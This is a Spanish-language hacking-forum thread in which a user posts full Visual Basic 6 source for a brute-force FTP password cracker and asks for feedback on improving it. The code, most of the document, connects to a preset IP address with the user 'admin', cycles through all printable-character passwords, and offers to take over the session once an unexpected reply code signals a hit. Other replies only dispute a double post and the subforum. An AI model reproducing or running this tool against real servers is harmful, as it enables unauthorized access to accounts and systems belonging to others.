HOLA!!!
Hola amigos, estaba sin nada que hacer y me puse a programar un
CRACKEADOR FTP por fuerza bruta en
VB6, me puse a hacerlo por que no vi nada por la web :P, quisiera saber su opinion.
Bueno consiste en un form con:
- Un textbox multilinea con scroll llamado inx
- Un textbox normal llamado outx
- Un timer llamado state
- Un winsock llamado telnet
un
FORM con
Código:
Public CT As Integer
Public FAILED As String
Public ACUSER As String
Public USER As String
Public CONTROL As Integer
Private Sub Form_Load()
CONTROL = vbNo
Telnet.RemoteHost = InputBox("HOST", "INSERTE", "173.236.40.122")
Telnet.RemotePort = InputBox("PUERTO", "INSERTE", 21)
FAILED = InputBox("CODIGO DE CONTRASEÑA INVALIDA", "INSERTE", 530)
ACUSER = InputBox("CODIGO DE USUARIO ACEPTADO", "INSERTE", 331)
USER = InputBox("USUARIO", "INSERTE", "admin")
Call BORRAR_VECTOR
Call CONECTAR_TELNET
STATE.Interval = 1000
End Sub
Private Sub CONECTAR_TELNET()
Telnet.Connect
CT = 0
End Sub
Private Sub Form_Resize()
If Me.Height > 701 Then
inx.Width = Me.Width
inx.Height = Me.Height - 700
outx.Width = Me.Width
outx.Top = inx.Height
End If
End Sub
Private Sub Form_Unload(Cancel As Integer)
Telnet.Close
End
End Sub
Private Sub STATE_Timer()
If Telnet.STATE <> 7 Then
If Telnet.STATE <> 0 Then
Telnet.Close
End If
Call CONECTAR_TELNET
End If
End Sub
Private Sub telnet_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
Telnet.GetData strData
inx.Text = inx.Text & strData
If CONTROL = vbNo Then
Call ANALIZAR(Mid(strData, 1, 3))
End If
If CT Mod 2 Then
Call NUEVAPASS
outx.Text = "pass " & PASS
Call outx_KeyPress(vbKeyReturn)
Else
outx.Text = "user " & USER
Call outx_KeyPress(vbKeyReturn)
End If
End Sub
Private Sub outx_KeyPress(KeyAscii As Integer)
If KeyAscii = vbKeyReturn Then
Telnet.SendData outx.Text & vbCrLf
outx.Text = ""
outx.SetFocus
End If
End Sub
Private Sub ANALIZAR(CODE As String)
CT = CT + 1
If Not (CODE = ACUSER Or CT = 1 Or CODE = FAILED) Then
CONTROL = MsgBox("CODIGO EXTRAÑO(" & CODE & ") CON PASSWORD ''" & PASS & "'' DESEA TOMAR EL CONTROL DE LA TERMINAL (SI) O DESEA QUE CONTINUE EL ATAQUE DE FUERZA BRUTA (NO)", vbYesNo)
End If
End Sub
Y un
MODULO con
Código:
Dim PASSNUM(17) As Integer
Dim PASSLET(17) As String
Public PASS As String
Public Sub BORRAR_VECTOR()
PASSNUM(1) = 47
For X = 2 To 16
PASSNUM(X) = 0
Next X
End Sub
Public Sub NUEVAPASS()
PASSNUM(1) = PASSNUM(1) + 1
Call ORDENAR
Call CONVERTIR
Call CONCATENAR
End Sub
Private Sub ORDENAR()
For X = 1 To 16
If PASSNUM(X) = 124 Then
If PASSNUM(X + 1) = 0 Then
PASSNUM(X + 1) = 47
End If
PASSNUM(X + 1) = PASSNUM(X + 1) + 1
End If
Next X
If PASSNUM(17) = 1 Then
MsgBox "TODAS LAS CLAVES PROBADAS", , "ERROR"
End
End If
End Sub
Private Sub CONVERTIR()
For X = 1 To 16
If PASSNUM(X) <> 0 Then
PASSLET(X) = Chr(PASSNUM(X))
End If
Next X
End Sub
Private Sub CONCATENAR()
PASS = ""
For X = 1 To 16
PASS = PASS & PASSLET(X)
Next X
End Sub
Díganme que les parece!
Y den opiniones para mejorarlo!
***************GRACIAS***************
No hagas doble post...
http://foro.elhacker.net/programacion_visual_basic/ftp_cracker_me_lo_revisan-t301333.0.html (http://foro.elhacker.net/programacion_visual_basic/ftp_cracker_me_lo_revisan-t301333.0.html)
No creo que esta sea la zona indicada, espera que alguien lo mueva o elimine.
HOLA!!!
No es doble Post, por que el post que figura en el foro de programacion es sobre un problema que tenia y que por suerte pude solucionar, si te fijas los codigos son diferentes.
Pido que me den una opinion ahora que esta funcional el sistema.
Y si este no es el subforo para que revisen el "CRACKER" que arme (humildemente lo digo, por que no es la gran cosa, es mas es muy rudimentario) transladen el post plz.
Pero ante todo:
***************GRACIAS***************